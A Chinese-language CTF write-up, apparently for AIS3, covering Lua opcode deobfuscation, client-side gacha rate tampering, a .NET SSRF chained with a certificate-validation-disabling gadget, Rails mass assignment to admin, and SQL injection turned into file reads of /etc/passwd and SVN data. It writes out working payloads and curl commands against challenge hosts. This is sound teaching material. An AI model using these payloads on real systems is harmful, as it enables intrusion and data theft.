OP_FORPREP = 32 |
forbody |
17 |
luaK_posfix 跟 luaK_prefix 內部用 switch 處理二元運算,會連續 emit OP_ADD..OP_LE 共 12 個 opcode,把 jump table 抓出來就一次補齊 ADD/SUB/MUL/DIV/MOD/POW/CONCAT/EQ/LT/LE。38 個 entry 全部釘死之後就能翻譯了。
1 | mask = (numparams ^ 0x2B ^ ((15 * pc + 17) & 0x3F)) & 0x3F |
有個眉角:dumper 會把假的 numparams 寫進函式 header,所以解 obfuscation 的工具必須讀 stored 值來算 XOR,不能假設它是真實參數量。
還原成標準 bytecode 之後餵進 decoder,拿到 7 個 proto。跟 flag 有關的部分手工還原成 Lua:
1 | -- f0(a, b):對 8 bits 做 XOR,回傳整數。 |
f3 / f4 直接 static 跑出來:
1 | T1 (11) = [23, 88, 41, 199, 17, 90, 250, 61, 143, 12, 77] |
#T2 = 33 所以 flag 是 33 個 ASCII byte。f5 是 per-byte 的方程式,state 只依賴前面的 byte,可以從頭直接推:
1 | key = T1[((i-1) % 11) + 1] |
1 | AIS3{Lu4_0pc0d3_Shuffl1ng_1s_Fun} |
AIS3{Lu4_0pc0d3_Shuffl1ng_1s_Fun}
哇!金色傳說
哇!金色傳說。 來抽武器感受割草的快感吧!
Flag 格式:
^AIS3\{[A-Za-z_?]+\}$
跟 Hidden in the Cloak 同一個 Unity build,但這次標題把焦點推到 gacha,所以要看的是 Assembly-CSharp.dll。另外 flag 字元集允許 ?,暗示最後是一句以 ? 結尾的英文短句。
1 | dotnet tool install -g ilspycmd |
一樣沒有 AIS3{...} 字面值。但出現了 GachaServer、GachaUI、GachaStation、GachaTier,還有一個 GachaServerUrl backing field,遊戲會跟遠端伺服器溝通。
GachaServer.RollCoroutine:
1 | public string GachaServerUrl { get; } = "http://chals1.ais3.org:50001"; |
rate 由 client 端 Random.Range(0f, 0.3f) 產生,而且 client 之後完全不會再讀它、比較它、或拿它調整回應。唯一可能消費 rate 的只有 server。一個欄位的存在目的就是被送到 server、被 client 限制在 0.3 以下、而且永遠不會被驗證,它幾乎就是在喊「請竄改我」。
(順帶一提:GameManager 定義了三種 GachaTier(basic / premium / deluxe),有 rareChance 跟 legendChance,但 client 只送 spend 不送 tier,更加證實 rate 才是 server 用來決定獎品的鍵。)
先送個完全合法的請求確認 server 活著:
1 | curl -sS -X POST http://chals1.ais3.org:50001 \ |
1 | { |
正常抽就是正常裝備。直覺會想灌水 spend 或 gold(「我有一千萬金幣」),但題目只提「抽武器」跟「金色傳說」,而反編譯結果裡只有一個欄位是被 client 靜悄悄限制住的。固定其他變數,對 rate 二分搜尋:
1 | for r in 0.0 0.05 0.1 0.15 0.2 0.25 0.29 0.3 0.31 0.35 0.4 0.5; do |
1 | rate=0.0 → Iron Chestplate |
界限精確得誇張:只要 rate > 0.3,server 就把 armor 名稱換成 flag。題目其實一直在問的是「玩家有沒有竄改那個 client 從未公開的 luck 參數?」
AIS3{At_Least_U_DIDNT_MODIFY_MY_MONEY_RIGHT?}
Web
Give Me Flag
一個 .NET 8 網頁應用,會把 flag 以 POST 送往一個從外部解析不到的內部端點。
先看 docker-compose.yml:
1 | FLAG = "AIS3{fake}" |
所以真 flag 在環境變數裡,應用會把它送到 flag-dropbox.givemeflag.internal:443/api/flag,一個外部解析不到的主機名。
用 ILSpy 反編譯 GiveMeFlag.dll,在 FlagDeliveryService.cs 找到 SendAsync:它從首頁接收使用者提供的 TargetIp,用 UriBuilder 組 URL,強制 https 跟 443,然後把帶 flag 的 POST 送到 https://<TargetIp>:443/api/flag。
SSRF。但 .NET 的 HttpClient 預設會嚴格驗證 SSL 憑證,我拿自簽證書接不到。得先想辦法把全域憑證驗證關掉。
繼續翻,/Support 端點有個預覽支援卡片的功能,用了 PreviewComponentResolver.Create:接收使用者提供的字串 Template → 丟給 ParseDescriptor 抽出 metadata → Type.GetType(metadata) → Activator.CreateInstance。
也就是說,只要類別有公開的無參數建構子,我就能實例化應用程式已載入組件裡的任何類別。經典的類似反序列化的物件建構利用。
那就找一個「一被實例化就會改變全域狀態」的 gadget。題目裡塞了幾個龐大的 SharePoint DLL,翻 Microsoft.Office.Server.Search.Connector.dll 找到:
1 | Microsoft.Office.Server.Search.Connector.BDC.Exchange.ExchangeSystemUtility |
這個類別有個靜態建構子,會把全域的 ServicePointManager.ServerCertificateValidationCallback 改成強制回傳 true。實例化它就等於全域關掉整個 .NET 應用的 SSL 憑證驗證。
ParseDescriptor 是用 # 分割輸入,# 之後的文字成為 metadata,所以 payload 是:
1 | dummy#Microsoft.Office.Server.Search.Connector.BDC.Exchange.ExchangeSystemUtility, Microsoft.Office.Server.Search.Connector |
接收端起一個綁在 443、用自簽證書的 Python HTTPS server(CTF 給了 VPN,容器可以路由回我的機器):
1 | openssl req -x509 -newkey rsa:2048 -nodes -keyout key.pem -out cert.pem -days 1 -subj '/CN=x' |
然後整條鏈串起來:先抓首頁的 __RequestVerificationToken,POST /Support?handler=Preview 帶著 payload 觸發 SSL 繞過(回 200 OK),再 POST / 把 TargetIp 設成我的 VPN IP(10.26.1.25)。本機 HTTPS server 立刻收到一個帶 flag 的 POST。
AIS3{c_5h4rp_c0n57ruc70r_p0llu710n_4ad8d232c49243d4b4d4c6faa6545708}
Mass Rapid Transit
「AIS 捷運公司」的官網,有註冊跟登入。目標是提權成管理員進後台讀 flag。
導覽列有 /、/map、/stations、/lost_items、/riding-guide、/about、/login、/signup。首頁沒什麼,但「關於本公司」/about 有一段:
AIS 行控中心自主研發的 大量車輛調派系統(Mass Assignment System, MAS),以毫秒級的排程演算法協調橫跨三條路線的列車群。
MAS 的前端參數介面以 RESTful 更新
PATCH /fleet/:id,授權使用者可一次性批量變更多個屬性。
出題者已經把答案寫在牆上了。「Mass Assignment System」、PATCH /:id 的 RESTful 慣例(很 Rails)、「一次性批量變更多個屬性」,這題就是 Mass Assignment。
註冊一個帳號:
1 | # 步驟 1:取得註冊頁面並擷取 CSRF token |
302 導向 /profile,角色顯示 旅客。
看 /profile 的表單原始碼:
1 | <form data-turbo="false" action="/profile" accept-charset="UTF-8" method="post"> |
_method=patch 隱藏欄位 + user[...] 巢狀參數 + authenticity_token = 標準 Rails。而且表單裡沒有 role 欄位,但個人資料頁明明顯示了角色。所以 users 表有 role 欄位,只是沒公開在介面上。
如果伺服器端用的是 params.require(:user).permit! 這種寬鬆寫法而不是明確列白名單,那多送一個 user[role]=admin 就會直接寫進去。
1 | # 步驟 1:取得個人資料頁面以獲取新的 CSRF token |
302 導回 /profile,跟正常更新一模一樣的回應,沒報錯。重載頁面確認:
1 | curl -s -b cookies.txt http://chals1.ais3.org:10003/profile \ |
1 | <span class="badge badge-admin">管理員</span> |
成功!進後台:
1 | curl -s -b cookies.txt http://chals1.ais3.org:10003/admin \ |
「內部公告」區塊有一則「【內部】系統金鑰與稽核紀錄」:
1 | 本次系統稽核金鑰如下,僅供授權管理員存取: |
AIS3{R41ls_4P1_M4ss_4ss1gnm3nt_2_AIS_4dm1n}
MyGO!!! X Ave Mujica 圖庫
一個圖片庫網站,可以用 /image?id=<n> 看編號 1–6 的圖,也能上傳。題目描述提示「機器人禁止」,那就先看 robots.txt:
1 | curl -s http://chals1.ais3.org:48763/robots.txt |
內容只有一行:.svn。
出題者直接把 Subversion 的後設資料目錄點出來了。SVN 會在 .svn/ 下保存完整的工作副本資料庫 wc.db 以及每個被追蹤檔案的 pristine 原始版本。但直接打 /.svn/wc.db 回 404,.svn 不是靜態目錄,我需要一個讀檔原語。
/image?id=<n> 直接吃使用者輸入回檔,先試最直覺的 path traversal:
1 | curl -i "http://chals1.ais3.org:48763/image?id=../.svn/entries" |
1 | HTTP/1.1 500 Internal Server Error |
500 而不是 404 或回檔,代表 id 不是被直接拼進檔案路徑,而是在「處理這個值」的當下噴例外。在圖片庫情境下最常見的原因就是 SELECT path FROM images WHERE id = <input>。
1 | curl -i "http://chals1.ais3.org:48763/image?id=1'" # 500 |
1 AND 1=1 回 200 正常出圖,1 AND 1=2 回 500(query 回 0 筆,後面 fetchone() 拿到 None 再 index 就爆了)。不折不扣的 Boolean-based SQL Injection。
1 | for i in 1 2 3 4 5; do |
1 | ORDER BY 1 -> 200 |
只有 1 個欄位。而那唯一一欄就是拿去回傳檔案的值,所以我在 UNION 裡塞什麼字串,server 就會拿去當檔案路徑開。先用 /etc/passwd 驗證:
1 | curl "http://chals1.ais3.org:48763/image?id=-1%20UNION%20SELECT%20%27/etc/passwd%27--" |
1 | root:x:0:0:root:/root:/bin/bash |
SQL Injection 正式升級成任意檔案讀取。拉原始碼:
1 | curl "http://chals1.ais3.org:48763/image?id=-1%20UNION%20SELECT%20%27/app/app.py%27--" |
1 | import sqlite3 |
f-string 拼 SQL,記憶體型 SQLite,工作目錄 /app。那 SVN repo 就在 /app/.svn:
1 | curl "http://chals1.ais3.org:48763/image?id=-1%20UNION%20SELECT%20%27/app/.svn/wc.db%27--" -o wc.db |
1 | super_secret_starburst_flag114514.txt|$sha1$38b96d193f20bfafaed25e54ac4c9f3e35607424 |
檔名一望而知。SVN 會把 commit 時的版本放在 .svn/pristine/<前兩個 hex>/<完整 sha1>.svn-base:
1 | curl "http://chals1.ais3.org:48763/image?id=-1%20UNION%20SELECT%20%27%2Fapp%2F.svn%2Fpristine%2F38%2F38b96d193f20bfafaed25e54ac4c9f3e35607424.svn-base%27--" |
1 | AIS3{BangDream_AveMujica_Exitus_at_Taipei_8/8_and_I_don't_have_ticket} |
送出去,被 CTFd 拒絕。
被 commit 進 SVN 的不是現行 flag。出題者在 commit 之後又改過磁碟上的檔案,pristine 是舊版本。改讀工作目錄裡的活檔:
1 | curl "http://chals1.ais3.org:48763/image?id=-1%20UNION%20SELECT%20%27/app/super_secret_starburst_flag114514.txt%27--" |
1 | AIS3{BangDream_AveMujica_Exitus_at_Taiwan_8/8_and_I_don't_have_ticket} |
Taipei → Taiwan。這個 pristine vs. working copy 的版本差異就是這題刻意設計的陷阱:pristine 能證明 LFI 成功,但要再多讀一次活檔才算過關。
AIS3{BangDream_AveMujica_Exitus_at_Taiwan_8/8_and_I_don’t_have_ticket}